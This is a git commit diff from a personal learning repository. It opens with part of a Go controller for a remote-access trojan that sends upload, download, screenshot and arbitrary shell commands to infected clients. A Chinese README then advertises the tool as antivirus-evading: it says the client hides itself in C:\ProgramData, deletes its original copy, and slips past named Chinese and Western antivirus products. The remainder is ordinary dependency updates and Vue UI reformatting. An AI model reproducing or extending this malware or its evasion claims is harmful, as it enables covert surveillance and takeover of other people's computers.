encName := base64.URLEncoding.EncodeToString([]byte(nameDownload))
_conn.Write([]byte(encName + "\n"))
fmt.Print(encName)
}
case "screenshot":
if ok {
encScreenShot := base64.URLEncoding.EncodeToString([]byte("screenshot"))
_conn.Write([]byte(encScreenShot + "\n"))
}
case "upload":
if ok {
encUpload := base64.URLEncoding.EncodeToString([]byte("upload"))
_conn.Write([]byte(encUpload + "\n"))
fmt.Print("File Path to Upload: ")
pathUpload := ReadLine()
fmt.Print("Output name: ")
outputName := ReadLine()
encOutput := base64.URLEncoding.EncodeToString([]byte(outputName))
_conn.Write([]byte(encOutput + getDateTime() + "\n"))
fmt.Println(YELLOW, "-> Uploading...")
//上传文件
file, err := ioutil.ReadFile(pathUpload)
if err != nil {
fmt.Println(RED, "[!] File not found!")
break
}
encData := base64.URLEncoding.EncodeToString(file)
_conn.Write([]byte(string(encData) + "\n"))
fmt.Println(GREEN, "-> Upload Done...")
}
default:
if ok {
_cmd := base64.URLEncoding.EncodeToString([]byte(command))
_conn.Write([]byte(_cmd + "\n"))
}
}
}
}
// ClearScreen 清除屏幕
func ClearScreen() {
cmd := exec.Command("clear")
cmd.Stdout = os.Stdout
cmd.Run()
}

19
golang_learn/data_office/get_v_YuanKong/说明.md

@ -0,0 +1,19 @@
# 一款Golang免杀远控
## 01 工具介绍
由于工作需要,写了一款Golang远控软件,现在也用不上了,开源算了,支持很多功能,如 ”加密传输、截图回传、反向Socks5代理回内网、开机自启“。
当client.exe被点击后,小马会自动复制本身到 ”C:\ProgramData“ 隐藏目录并再次执行,自动删除当前桌面上的Clinet文件。
目前大多数远控软件都基于C++/C#编写的,杀软对这些开发语言很敏感,非常容易就被识别出来了,但使用Golang语言编写的就不一样了,改一改就能过360、火绒、金山、腾讯电脑管家、AVG、等等,如有需要添加其他功能,可以私我哦。
## 02 目前的功能
多用户上线,多用户管理
* 下载远程文件
* 上传本地文件到目标电脑
* 屏幕截图,回传
* 动态设置编码
* 执行系统任意指令
* 安装成服务,实现开机自启[x]
* 反向socks5[x]
* EXE文件捆绑[x]

3
golang_learn/go.mod

@ -11,6 +11,7 @@ require (
github.com/axgle/mahonia v0.0.0-20180208002826-3358181d7394
github.com/bitly/go-simplejson v0.5.0
github.com/bmizerany/assert v0.0.0-20160611221934-b7ed37b82869
github.com/braintree/manners v0.0.0-20160418043613-82a8879fc5fd
github.com/go-ini/ini v1.62.0
github.com/go-sql-driver/mysql v1.6.0
github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b
@ -18,6 +19,7 @@ require (
github.com/google/uuid v1.1.2
github.com/joho/godotenv v1.3.0
github.com/kardianos/service v1.2.0
github.com/kbinani/screenshot v0.0.0-20210720154843-7d3a670d8329
github.com/kr/pretty v0.3.0 // indirect
github.com/lxn/walk v0.0.0-20210112085537-c389da54e794
github.com/lxn/win v0.0.0-20210218163916-a377121e959e
@ -28,6 +30,7 @@ require (
github.com/mzky/zip v0.0.0-20210817031838-1b692015aed2
github.com/pingcap/log v0.0.0-20211215031037-e024ba4eb0ee
github.com/riftbit/go-systray v1.0.2
github.com/robfig/cron/v3 v3.0.1
github.com/russross/blackfriday v1.6.0
github.com/shirou/gopsutil v2.20.4+incompatible
github.com/spf13/viper v1.8.1

10
golang_learn/go.sum

@ -69,6 +69,8 @@ github.com/bitly/go-simplejson v0.5.0/go.mod h1:cXHtHw4XUPsvGaxgjIAn8PhEWG9NfngE
github.com/bketelsen/crypt v0.0.4/go.mod h1:aI6NrJ0pMGgvZKL1iVgXLnfIFJtfV+bKCoqOes/6LfM=
github.com/bmizerany/assert v0.0.0-20160611221934-b7ed37b82869 h1:DDGfHa7BWjL4YnC6+E63dPcxHo2sUxDIu8g3QgEJdRY=
github.com/bmizerany/assert v0.0.0-20160611221934-b7ed37b82869/go.mod h1:Ekp36dRnpXw/yCqJaO+ZrUyxD+3VXMFFr56k5XYrpB4=
github.com/braintree/manners v0.0.0-20160418043613-82a8879fc5fd h1:ePesaBzdTmoMQjwqRCLP2jY+jjWMBpwws/LEQdt1fMM=
github.com/braintree/manners v0.0.0-20160418043613-82a8879fc5fd/go.mod h1:TNehV1AhBwtT7Bd+rh8G6MoGDbBLNs/sKdk3nvr4Yzg=
github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU=
github.com/chzyer/logex v1.1.10/go.mod h1:+Ywpsq7O8HXn0nuIou7OrIPyXbp3wmkHB+jjWRnGsAI=
github.com/chzyer/readline v0.0.0-20180603132655-2972be24d48e/go.mod h1:nSuG5e5PlCu98SY8svDHJxuZscDgtXS6KTTbou5AhLI=
@ -98,6 +100,8 @@ github.com/fsnotify/fsnotify v1.4.9 h1:hsms1Qyu0jgnwNXIxa+/V/PDsU6CfLf6CNO8H7IWo
github.com/fsnotify/fsnotify v1.4.9/go.mod h1:znqG4EE+3YCdAaPaxE2ZRY/06pZUdp0tY4IgpuI1SZQ=
github.com/fyne-io/mobile v0.1.2 h1:0HaXDtOOwyOTn3Umi0uKVCOgJtfX73c6unC4U8i5VZU=
github.com/fyne-io/mobile v0.1.2/go.mod h1:/kOrWrZB6sasLbEy2JIvr4arEzQTXBTZGb3Y96yWbHY=
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 h1:Y5Q2mEwfzjMt5+3u70Gtw93ZOu2UuPeeeTBDntF7FoY=
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5/go.mod h1:uF6rMu/1nvu+5DpiRLwusA6xB8zlkNoGzKn8lmYONUo=
github.com/ghodss/yaml v1.0.0/go.mod h1:4dBDuWmgqj2HViK6kFavaiC9ZROes6MMH2rRYeMEF04=
github.com/go-gl/gl v0.0.0-20190320180904-bf2b1f2f34d7/go.mod h1:482civXOzJJCPzJ4ZOX/pwvXBWSnzD4OKMdH4ClKGbk=
github.com/go-gl/gl v0.0.0-20210813123233-e4099ee2221f h1:s0O46d8fPwk9kU4k1jj76wBquMVETx7uveQD9MCIQoU=
@ -212,6 +216,8 @@ github.com/hashicorp/serf v0.8.2/go.mod h1:6hOLApaqBFA1NXqRQAsxw9QxuDEvNxSQRwA/J
github.com/ianlancetaylor/demangle v0.0.0-20181102032728-5e5cf60278f6/go.mod h1:aSSvb/t6k1mPoxDqO4vJh6VOCGPwU4O0C2/Eqndh1Sc=
github.com/ianlancetaylor/demangle v0.0.0-20200824232613-28f6c0f3b639/go.mod h1:aSSvb/t6k1mPoxDqO4vJh6VOCGPwU4O0C2/Eqndh1Sc=
github.com/jackmordaunt/icns v0.0.0-20181231085925-4f16af745526/go.mod h1:UQkeMHVoNcyXYq9otUupF7/h/2tmHlhrS2zw7ZVvUqc=
github.com/jezek/xgb v0.0.0-20210312150743-0e0f116e1240 h1:dy+DS31tGEGCsZzB45HmJJNHjur8GDgtRNX9U7HnSX4=
github.com/jezek/xgb v0.0.0-20210312150743-0e0f116e1240/go.mod h1:3P4UH/k22rXyHIJD2w4h2XMqPX4Of/eySEZq9L6wqc4=
github.com/joho/godotenv v1.3.0 h1:Zjp+RcGpHhGlrMbJzXTrZZPrWj+1vfm90La1wgB6Bhc=
github.com/joho/godotenv v1.3.0/go.mod h1:7hK45KPybAkOC6peb+G5yklZfMxEjkZhHbwpqxOKXbg=
github.com/josephspurrier/goversioninfo v0.0.0-20200309025242-14b0ab84c6ca/go.mod h1:eJTEwMjXb7kZ633hO3Ln9mBUCOjX2+FlTljvpl9SYdE=
@ -222,6 +228,8 @@ github.com/jtolds/gls v4.20.0+incompatible h1:xdiiI2gbIgH/gLH7ADydsJ1uDOEzR8yvV7
github.com/jtolds/gls v4.20.0+incompatible/go.mod h1:QJZ7F/aHp+rZTRtaJ1ow/lLfFfVYBRgL+9YlvaHOwJU=
github.com/kardianos/service v1.2.0 h1:bGuZ/epo3vrt8IPC7mnKQolqFeYJb7Cs8Rk4PSOBB/g=
github.com/kardianos/service v1.2.0/go.mod h1:CIMRFEJVL+0DS1a3Nx06NaMn4Dz63Ng6O7dl0qH0zVM=
github.com/kbinani/screenshot v0.0.0-20210720154843-7d3a670d8329 h1:qq2nCpSrXrmvDGRxW0ruW9BVEV1CN2a9YDOExdt+U0o=
github.com/kbinani/screenshot v0.0.0-20210720154843-7d3a670d8329/go.mod h1:2VPVQDR4wO7KXHwP+DAypEy67rXf+okUx2zjgpCxZw4=
github.com/kisielk/errcheck v1.5.0/go.mod h1:pFxgyoBC7bSaBwPgfKdkLd5X25qrDl4LWUI2bnpBCr8=
github.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+oQHNcck=
github.com/kr/fs v0.1.0/go.mod h1:FFnZGqtBN9Gxj7eW1uZ42v5BccTP0vu6NEaFoC2HwRg=
@ -291,6 +299,8 @@ github.com/richardlehane/msoleps v1.0.1 h1:RfrALnSNXzmXLbGct/P2b4xkFz4e8Gmj/0Vj9
github.com/richardlehane/msoleps v1.0.1/go.mod h1:BWev5JBpU9Ko2WAgmZEuiz4/u3ZYTKbjLycmwiWUfWg=
github.com/riftbit/go-systray v1.0.2 h1:8cT4UEREfN3NxpErxHC/7G8cR/t/hAiO/nZng5pmSAQ=
github.com/riftbit/go-systray v1.0.2/go.mod h1:4Gw5HqutBhqXW3sRq41ggHZZqC1k/KOU4dix6G6frj0=
github.com/robfig/cron/v3 v3.0.1 h1:WdRxkvbJztn8LMz/QEvLN5sBU+xKpSqwwUO1Pjr4qDs=
github.com/robfig/cron/v3 v3.0.1/go.mod h1:eQICP3HwyT7UooqI/z+Ov+PtYAWygg1TEWWzGIFLtro=
github.com/rogpeppe/fastuuid v1.2.0/go.mod h1:jVj6XXZzXRy/MSR5jhDC/2q6DgLz+nrA6LYCDYWNEvQ=
github.com/rogpeppe/go-internal v1.3.0/go.mod h1:M8bDsm7K2OlrFYOpmOWEs/qY81heoFRclV5y23lUDJ4=
github.com/rogpeppe/go-internal v1.6.1 h1:/FiVV8dS/e+YqF2JvO3yXRFbBLTIuSDkuC7aBOAvL+k=

16873
gui_wails02_learn/frontend/package-lock.json

File diff suppressed because it is too large

6
gui_wails02_learn/frontend/src/App.vue

@ -15,6 +15,7 @@ import Notification from './components/Notification.vue'
import Settings from './components/Settings.vue'
import Sidebar from './components/Sidebar.vue'
import Stats from './components/Stats.vue'
import Demo from './components/Demo.vue'
import './assets/css/main.css'
export default {
@ -26,12 +27,13 @@ export default {
Notification,
Settings,
Sidebar,
Stats
Stats,
Demo
},
data() {
return {
currentView: 'Editor'
currentView: 'Demo'
}
},

31
gui_wails02_learn/frontend/src/components/About.vue

@ -2,35 +2,22 @@
<section class="bg-gray-800 overflow-y-auto p-10 w-full">
<header class="flex items-center justify-between w-full">
<h1 class="font-medium text-2xl text-purple-400">About</h1>
<BtnClose @click.native="closeView" color="purple" />
<BtnClose @click.native="closeView" color="purple"/>
</header>
<div class="flex flex-wrap items-center justify-center pt-16 w-full">
<div class="flex items-center justify-center logo w-full h-64"></div>
<!-- info -->
<div class="text-center text-gray-100 w-full">
<p class="mb-1">{{ pkg.name }} {{ pkg.version }}</p>
<p class="mb-1">
© 2020
<span
class="cursor-pointer hover:text-purple-400 ta-color-slow"
@click="openLink('https://christophermurphy.dev')"
>{{ pkg.author.name }}</span
>
<p class="mb-1"> © 2020
<span class="cursor-pointer hover:text-purple-400 ta-color-slow"
@click="openLink('https://christophermurphy.dev')">{{ pkg.author.name }}</span>
</p>
<p class="mb-1">
<span
class="cursor-pointer hover:text-purple-400 ta-color-slow"
@click="
openLink('https://github.com/Splode/optimus/blob/main/LICENSE')
"
>License</span
>
and
<span
class="cursor-pointer hover:text-purple-400 ta-color-slow"
@click="openLink('https://github.com/splode/optimus')"
>Documentation</span
>
<span class="cursor-pointer hover:text-purple-400 ta-color-slow"
@click="openLink('https://github.com/Splode/optimus/blob/main/LICENSE')">License</span>
and<span class="cursor-pointer hover:text-purple-400 ta-color-slow"
@click="openLink('https://github.com/splode/optimus')">Documentation</span>
</p>
</div>
</div>
@ -44,7 +31,7 @@ import pkg from './../../package.json'
export default {
name: 'About',
components: { BtnClose },
components: {BtnClose},
data() {
return {

25
gui_wails02_learn/frontend/src/components/BtnClose.vue

@ -1,25 +1,8 @@
<template>
<button
class="border-2 border-gray-800 cursor-pointer flex focus:outline-none hover:border-gray-400 hover:bg-gray-900 items-center justify-center p-2 ta-slow rounded-full w-10 h-10"
>
<svg
version="1.1"
id="x"
xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink"
x="0px"
y="0px"
viewBox="0 0 11.9 11.9"
style="enable-background:new 0 0 11.9 11.9;"
width="14"
height="14"
:class="color"
xml:space="preserve"
>
<path
fill="#b3b3b3"
d="M10.4,0L6,4.5L1.5,0L0,1.5L4.5,6L0,10.4l1.5,1.5L6,7.5l4.5,4.5l1.5-1.5L7.5,6l4.5-4.5L10.4,0z"
/>
<button class="border-2 border-gray-800 cursor-pointer flex focus:outline-none hover:border-gray-400 hover:bg-gray-900 items-center justify-center p-2 ta-slow rounded-full w-10 h-10">
<svg version="1.1" id="x" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"
x="0px" y="0px" viewBox="0 0 11.9 11.9" style="enable-background:new 0 0 11.9 11.9;" width="14" height="14" :class="color" xml:space="preserve">
<path fill="#b3b3b3" d="M10.4,0L6,4.5L1.5,0L0,1.5L4.5,6L0,10.4l1.5,1.5L6,7.5l4.5,4.5l1.5-1.5L7.5,6l4.5-4.5L10.4,0z"/>
</svg>
</button>
</template>

13
gui_wails02_learn/frontend/src/components/Dropdown.vue

@ -1,20 +1,11 @@
<template>
<div class="btn-group">
<li
@click="toggleMenu()"
class="dropdown-toggle py-2"
v-if="selectedOption.name !== undefined"
:class="showMenu ? 'rounded-bl-none rounded-br-none' : ''"
>
<li @click="toggleMenu()" class="dropdown-toggle py-2" v-if="selectedOption.name !== undefined" :class="showMenu ? 'rounded-bl-none rounded-br-none' : ''">
{{ selectedOption.name }}
<span class="caret"></span>
</li>
<li
@click="toggleMenu()"
class="dropdown-toggle"
v-if="selectedOption.name === undefined"
>
<li @click="toggleMenu()" class="dropdown-toggle" v-if="selectedOption.name === undefined">
{{ placeholderText }}
<span class="caret"></span>
</li>

342
gui_wails02_learn/frontend/src/components/Settings.vue

@ -1,16 +1,16 @@
<template>
<section
class="bg-gray-800 overflow-y-auto p-10 w-full"
id="settings"
ref="section"
class="bg-gray-800 overflow-y-auto p-10 w-full"
id="settings"
ref="section"
>
<header class="flex items-center justify-between w-full">
<h1 class="font-medium text-2xl text-green">Options</h1>
<BtnClose @click.native="closeView" />
<BtnClose @click.native="closeView"/>
</header>
<div
class="border-2 border-gray-700 flex flex-wrap my-4 p-4 rounded-md w-full"
class="border-2 border-gray-700 flex flex-wrap my-4 p-4 rounded-md w-full"
>
<h2 class="mb-3 text-gray-200 text-xl w-full">General</h2>
<div class="flex items-center mr-6 my-2 px-4 text-gray-100">
@ -18,10 +18,10 @@
Target
</p>
<Dropdown
:options="targets"
:selected="target"
class="m-0 text-gray-200"
v-on:update-option="selectTarget"
:options="targets"
:selected="target"
class="m-0 text-gray-200"
v-on:update-option="selectTarget"
></Dropdown>
</div>
<div class="flex flex-wrap items-center mr-8 my-2 px-4 text-gray-100">
@ -29,82 +29,82 @@
Destination
</p>
<p
@click="selectOutDir"
class="bg-gray-900 cursor-pointer font-mono hover:text-green mx-4 px-4 py-2 rounded-md ta-color-slow"
@click="selectOutDir"
class="bg-gray-900 cursor-pointer font-mono hover:text-green mx-4 px-4 py-2 rounded-md ta-color-slow"
>
{{ config.outDir }}
</p>
<button
@click="openDir"
class="cursor-pointer"
v-tooltip.right-end="'Open destination directory'"
@click="openDir"
class="cursor-pointer"
v-tooltip.right-end="'Open destination directory'"
>
<svg
height="18"
id="Layer_1"
style="enable-background:new 0 0 24 24;"
version="1.1"
viewBox="0 0 24 24"
width="20"
x="0px"
xml:space="preserve"
xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink"
y="0px"
height="18"
id="Layer_1"
style="enable-background:new 0 0 24 24;"
version="1.1"
viewBox="0 0 24 24"
width="20"
x="0px"
xml:space="preserve"
xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink"
y="0px"
>
<path
d="M20,3H4C2.9,3,2,3.9,2,5v14c0,1.1,0.9,2,2,2h5v-2H4V7h16v12h-5v2h5c1.1,0,2-0.9,2-2V5C22,3.9,21.1,3,20,3z"
fill="#b3b3b3"
d="M20,3H4C2.9,3,2,3.9,2,5v14c0,1.1,0.9,2,2,2h5v-2H4V7h16v12h-5v2h5c1.1,0,2-0.9,2-2V5C22,3.9,21.1,3,20,3z"
fill="#b3b3b3"
/>
<path d="M13,21v-5h3l-4-5l-4,5h3v5H13z" fill="#b3b3b3" />
<path d="M13,21v-5h3l-4-5l-4,5h3v5H13z" fill="#b3b3b3"/>
</svg>
</button>
</div>
<div class="flex flex-wrap items-center my-2 px-4 text-gray-100">
<label
for="prefix"
v-tooltip.right-end="{
for="prefix"
v-tooltip.right-end="{
content: 'A string to prepend to the converted image filename.'
}"
>Prefix</label
>Prefix</label
>
<input
@change="setConfig"
class="bg-gray-900 cursor-pointer focus:outline-none hover:text-green mx-4 px-4 py-2 rounded-md ta-color-slow"
id="prefix"
maxlength="16"
type="text"
v-model="config.prefix"
@change="setConfig"
class="bg-gray-900 cursor-pointer focus:outline-none hover:text-green mx-4 px-4 py-2 rounded-md ta-color-slow"
id="prefix"
maxlength="16"
type="text"
v-model="config.prefix"
/>
</div>
<div class="flex flex-wrap items-center my-2 px-4 text-gray-100">
<label
for="suffix"
v-tooltip.right-end="{
for="suffix"
v-tooltip.right-end="{
content: 'A string to append to the converted image filename.'
}"
>Suffix</label
>Suffix</label
>
<input
@change="setConfig"
class="bg-gray-900 cursor-pointer focus:outline-none hover:text-green mx-4 px-4 py-2 rounded-md ta-color-slow"
id="suffix"
maxlength="16"
type="text"
v-model="config.suffix"
@change="setConfig"
class="bg-gray-900 cursor-pointer focus:outline-none hover:text-green mx-4 px-4 py-2 rounded-md ta-color-slow"
id="suffix"
maxlength="16"
type="text"
v-model="config.suffix"
/>
</div>
</div>
<div
class="border-2 border-gray-700 flex flex-wrap my-4 px-2 py-4 rounded-md w-full"
class="border-2 border-gray-700 flex flex-wrap my-4 px-2 py-4 rounded-md w-full"
>
<header class="flex px-2 w-full">
<h2 class="text-gray-200 text-xl">Resizing</h2>
<button
@click="addSize"
class="border-0 focus:outline-none hover:green hover:text-green ml-8 ta-slow"
v-tooltip.right-end="{
@click="addSize"
class="border-0 focus:outline-none hover:green hover:text-green ml-8 ta-slow"
v-tooltip.right-end="{
content: 'Add an image size to convert.',
delay: 600
}"
@ -113,74 +113,74 @@
</button>
</header>
<div
:key="i"
class="flex flex-wrap items-center my-2 px-4 text-gray-100 w-full"
v-for="(s, i) in config.sizes"
:key="i"
class="flex flex-wrap items-center my-2 px-4 text-gray-100 w-full"
v-for="(s, i) in config.sizes"
>
<div class="mb-2 lg:mb-0 px-2 w-full sm:w-1/2 lg:w-auto">
<label :for="`width-${i}`" class="block xl:inline-block mb-2 mr-4"
><span
><span
v-tooltip.right-end="
'Width in pixels. Required and must be a positive integer.'
"
>Width</span
></label
>Width</span
></label
>
<input
:id="`width-${i}`"
@blur="setConfig"
@input="handleNumber"
class="bg-gray-900 cursor-pointer focus:outline-none hover:text-green px-4 py-2 rounded-md ta-color-slow w-full lg:w-auto"
type="text"
v-model.number="s.width"
:id="`width-${i}`"
@blur="setConfig"
@input="handleNumber"
class="bg-gray-900 cursor-pointer focus:outline-none hover:text-green px-4 py-2 rounded-md ta-color-slow w-full lg:w-auto"
type="text"
v-model.number="s.width"
/>
</div>
<div class="mb-2 lg:mb-0 px-2 w-full sm:w-1/2 lg:w-auto">
<label :for="`height-${i}`" class="block xl:inline-block mb-2 mr-4"
><span
><span
v-tooltip.right-end="
'Height in pixels. Required and must be a positive integer.'
"
>Height</span
></label
>Height</span
></label
>
<input
:id="`height-${i}`"
@blur="setConfig"
@input="handleNumber"
class="bg-gray-900 cursor-pointer focus:outline-none hover:text-green px-4 py-2 rounded-md ta-color-slow w-full lg:w-auto"
type="text"
v-model.number="s.height"
:id="`height-${i}`"
@blur="setConfig"
@input="handleNumber"
class="bg-gray-900 cursor-pointer focus:outline-none hover:text-green px-4 py-2 rounded-md ta-color-slow w-full lg:w-auto"
type="text"
v-model.number="s.height"
/>
</div>
<div class="mb-2 lg:mb-0 px-2 w-full sm:w-1/2 lg:w-auto">
<label class="block xl:inline-block mb-2 mr-4">Strategy</label>
<div class="flex lg:inline-flex w-full lg:w-auto">
<Dropdown
:options="strategies"
:selected="strategy(s)"
@click.native="handleSelectStrategy(i)"
class="my-0 mr-4 text-gray-200 w-full"
v-on:update-option="selectStrategy"
v-tooltip="strategyTooltip(s)"
:options="strategies"
:selected="strategy(s)"
@click.native="handleSelectStrategy(i)"
class="my-0 mr-4 text-gray-200 w-full"
v-on:update-option="selectStrategy"
v-tooltip="strategyTooltip(s)"
></Dropdown>
<button @click="removeSize(i)">
<svg
height="10"
id="x"
style="enable-background:new 0 0 11.9 11.9;"
version="1.1"
viewBox="0 0 11.9 11.9"
width="10"
x="0px"
xml:space="preserve"
xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink"
y="0px"
height="10"
id="x"
style="enable-background:new 0 0 11.9 11.9;"
version="1.1"
viewBox="0 0 11.9 11.9"
width="10"
x="0px"
xml:space="preserve"
xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink"
y="0px"
>
<path
d="M10.4,0L6,4.5L1.5,0L0,1.5L4.5,6L0,10.4l1.5,1.5L6,7.5l4.5,4.5l1.5-1.5L7.5,6l4.5-4.5L10.4,0z"
fill="#b3b3b3"
d="M10.4,0L6,4.5L1.5,0L0,1.5L4.5,6L0,10.4l1.5,1.5L6,7.5l4.5,4.5l1.5-1.5L7.5,6l4.5-4.5L10.4,0z"
fill="#b3b3b3"
/>
</svg>
</button>
@ -190,7 +190,7 @@
</div>
<div
class="border-2 border-gray-700 flex flex-wrap my-4 p-4 rounded-md w-full"
class="border-2 border-gray-700 flex flex-wrap my-4 p-4 rounded-md w-full"
>
<h2 class="mb-3 text-gray-200 text-xl w-full">WebP</h2>
<div class="px-4 text-gray-100 w-1/2">
@ -199,7 +199,7 @@
Quality
</p>
<div class="w-full">
<vue-slider @change="setConfig" v-model="config.webpOpt.quality" />
<vue-slider @change="setConfig" v-model="config.webpOpt.quality"/>
</div>
</div>
</div>
@ -207,26 +207,26 @@
<div class="flex items-center w-full">
<p class="mr-4">Lossless</p>
<div
@click="toggleWebpLossless"
class="bg-gray-900 check-wrapper flex items-center justify-center rounded-md"
@click="toggleWebpLossless"
class="bg-gray-900 check-wrapper flex items-center justify-center rounded-md"
>
<transition mode="out-in" name="fade">
<svg
height="24"
id="check-icon"
style="enable-background:new 0 0 24 24;"
v-if="config.webpOpt.lossless"
version="1.1"
viewBox="0 0 24 24"
width="24"
x="0px"
xml:space="preserve"
xmlns="http://www.w3.org/2000/svg"
y="0px"
height="24"
id="check-icon"
style="enable-background:new 0 0 24 24;"
v-if="config.webpOpt.lossless"
version="1.1"
viewBox="0 0 24 24"
width="24"
x="0px"
xml:space="preserve"
xmlns="http://www.w3.org/2000/svg"
y="0px"
>
<path
d="M10,15.6l-3.3-3.3l-1.4,1.4l4.7,4.7l9.7-9.7l-1.4-1.4L10,15.6z"
fill="#27ffa7"
d="M10,15.6l-3.3-3.3l-1.4,1.4l4.7,4.7l9.7-9.7l-1.4-1.4L10,15.6z"
fill="#27ffa7"
/>
</svg>
</transition>
@ -236,7 +236,7 @@
</div>
<div
class="border-2 border-gray-700 flex flex-wrap my-4 p-4 rounded-md w-full"
class="border-2 border-gray-700 flex flex-wrap my-4 p-4 rounded-md w-full"
>
<h2 class="mb-3 text-gray-200 text-xl w-full">JPEG</h2>
<div class="px-4 text-gray-100 w-1/2">
@ -245,27 +245,27 @@
Quality
</p>
<div class="w-full">
<vue-slider @change="setConfig" v-model="config.jpegOpt.quality" />
<vue-slider @change="setConfig" v-model="config.jpegOpt.quality"/>
</div>
</div>
</div>
</div>
<div
class="border-2 border-gray-700 flex flex-wrap my-4 p-4 rounded-md w-full"
class="border-2 border-gray-700 flex flex-wrap my-4 p-4 rounded-md w-full"
>
<h2 class="mb-3 text-gray-200 text-xl w-full">PNG</h2>
<div class="px-4 text-gray-100 w-1/2">
<div class="flex items-center w-full">
<p
class="mr-6"
title="Specify the image conversion quality."
v-tooltip.right-end="{ content: tooltips.quality }"
class="mr-6"
title="Specify the image conversion quality."
v-tooltip.right-end="{ content: tooltips.quality }"
>
Quality
</p>
<div class="w-full">
<vue-slider @change="setConfig" v-model="config.pngOpt.quality" />
<vue-slider @change="setConfig" v-model="config.pngOpt.quality"/>
</div>
</div>
</div>
@ -273,8 +273,8 @@
<div class="mb-4 w-full">
<button
@click="restoreDefaults"
class="border-gray-400 btn focus:outline-none hover:bg-green hover:border-green hover:text-gray-900 ml-auto ta-slow"
@click="restoreDefaults"
class="border-gray-400 btn focus:outline-none hover:bg-green hover:border-green hover:text-gray-900 ml-auto ta-slow"
>
Restore Defaults
</button>
@ -287,32 +287,32 @@ import BtnClose from './BtnClose'
import Dropdown from './Dropdown'
import VueSlider from 'vue-slider-component'
import 'vue-slider-component/theme/antd.css'
import { EventBus } from '@/lib/event-bus'
import {EventBus} from '@/lib/event-bus'
export default {
name: 'Settings',
components: { BtnClose, Dropdown, VueSlider },
components: {BtnClose, Dropdown, VueSlider},
data() {
return {
activeStrategy: 0,
strategies: [
{ name: 'Fill', value: 0 },
{ name: 'Fit', value: 1 },
{ name: 'Smart Crop', value: 2 }
{name: 'Fill', value: 0},
{name: 'Fit', value: 1},
{name: 'Smart Crop', value: 2}
],
targets: [
{ name: 'WebP', value: 'webp' },
{name: 'WebP', value: 'webp'},
{
name: 'JPEG',
value: 'jpg'
},
{ name: 'PNG', value: 'png' }
{name: 'PNG', value: 'png'}
],
tooltips: {
quality:
'Image quality of the converted image where 0 is the lowest and 100 is the highest.'
'Image quality of the converted image where 0 is the lowest and 100 is the highest.'
}
}
},
@ -328,10 +328,10 @@ export default {
target() {
return (
this.targets.find(t => this.config.target === t.value) || {
name: '',
value: ''
}
this.targets.find(t => this.config.target === t.value) || {
name: '',
value: ''
}
)
}
},
@ -367,16 +367,16 @@ export default {
*/
selectStrategy(e) {
this.$store
.dispatch('setSizeStrategy', {
index: this.activeStrategy,
value: e.value
})
.then(() => {
this.setConfig()
})
.catch(err => {
console.log(err)
})
.dispatch('setSizeStrategy', {
index: this.activeStrategy,
value: e.value
})
.then(() => {
this.setConfig()
})
.catch(err => {
console.log(err)
})
},
/**
@ -437,12 +437,12 @@ export default {
*/
openDir() {
window.backend.Config.OpenOutputDir()
.then(res => {
console.log(res)
})
.catch(err => {
console.error(err)
})
.then(res => {
console.log(res)
})
.catch(err => {
console.error(err)
})
},
/**
@ -450,12 +450,12 @@ export default {
*/
restoreDefaults() {
window.backend.Config.RestoreDefaults()
.then(() => {
this.$store.dispatch('getConfig')
})
.catch(err => {
console.error(err)
})
.then(() => {
this.$store.dispatch('getConfig')
})
.catch(err => {
console.error(err)
})
},
/**
@ -463,13 +463,13 @@ export default {
*/
selectOutDir() {
window.backend.Config.SetOutDir()
.then(res => {
console.log(res)
this.$store.dispatch('getConfig')
})
.catch(err => {
console.error(err)
})
.then(res => {
console.log(res)
this.$store.dispatch('getConfig')
})
.catch(err => {
console.error(err)
})
},
/**
@ -478,13 +478,13 @@ export default {
*/
selectTarget(e) {
this.$store
.dispatch('setConfigProp', { key: 'target', value: e.value })
.then(() => {
this.setConfig()
})
.catch(err => {
console.error(err)
})
.dispatch('setConfigProp', {key: 'target', value: e.value})
.then(() => {
this.setConfig()
})
.catch(err => {
console.error(err)
})
},
/**
@ -499,13 +499,13 @@ export default {
*/
toggleWebpLossless() {
this.$store
.dispatch('toggleWebpLossless')
.then(() => {
this.setConfig()
})
.catch(err => {
console.error(err)
})
.dispatch('toggleWebpLossless')
.then(() => {
this.setConfig()
})
.catch(err => {
console.error(err)
})
}
}
}

318
gui_wails02_learn/frontend/src/components/demo.vue

@ -0,0 +1,318 @@
<template>
<el-container>
<el-main v-loading="loading" :element-loading-text="msg">
<!-- 左侧 -->
<el-row>
<el-col :span="5" class="header-left">
<el-row style="height:40px;background-color:#EEEEEE;border:1px solid #E1E1E1;border-width:1px 0px;padding:4px 14px">
demo 123456
</el-row>
<el-row class="tac">
<el-col>
<el-menu el-menu :default-active="activeIndex">
<!-- <el-menu-item-group> -->
<el-menu-item index="TXRY" class="classAffair">
<div class="classAffair-img"><i class="el-icon-s-order"></i></div>
<div class="classAffair-info">
<p class="tac-title">即将退休人员</p>
<!-- <p class="tac-des">默认查询30天内即将退休人员</p> -->
</div>
<span class="classAffair-badge">12</span>
</el-menu-item>
<el-menu-item index="CLTXRY" class="classAffair">
<div class="classAffair-img"><i class="el-icon-s-custom"></i></div>
<div class="classAffair-info">
<p class="tac-title">已超退休年龄人员</p>
<!-- <p class="tac-des">默认查询30天内超龄未退休人员</p> -->
</div>
<span class="classAffair-badge">12</span>
</el-menu-item>
<el-menu-item index="JLRY" class="classAffair">
<div class="classAffair-img"><i class="el-icon-s-check"></i></div>
<div class="classAffair-info">
<p class="tac-title">应交流人员</p>
<!-- <p class="tac-des">默认查询任同一工作单位及职务满十年以上人员</p> -->
</div>
<span class="classAffair-badge">12</span>
</el-menu-item>
<el-menu-item index="SYQRY" class="classAffair">
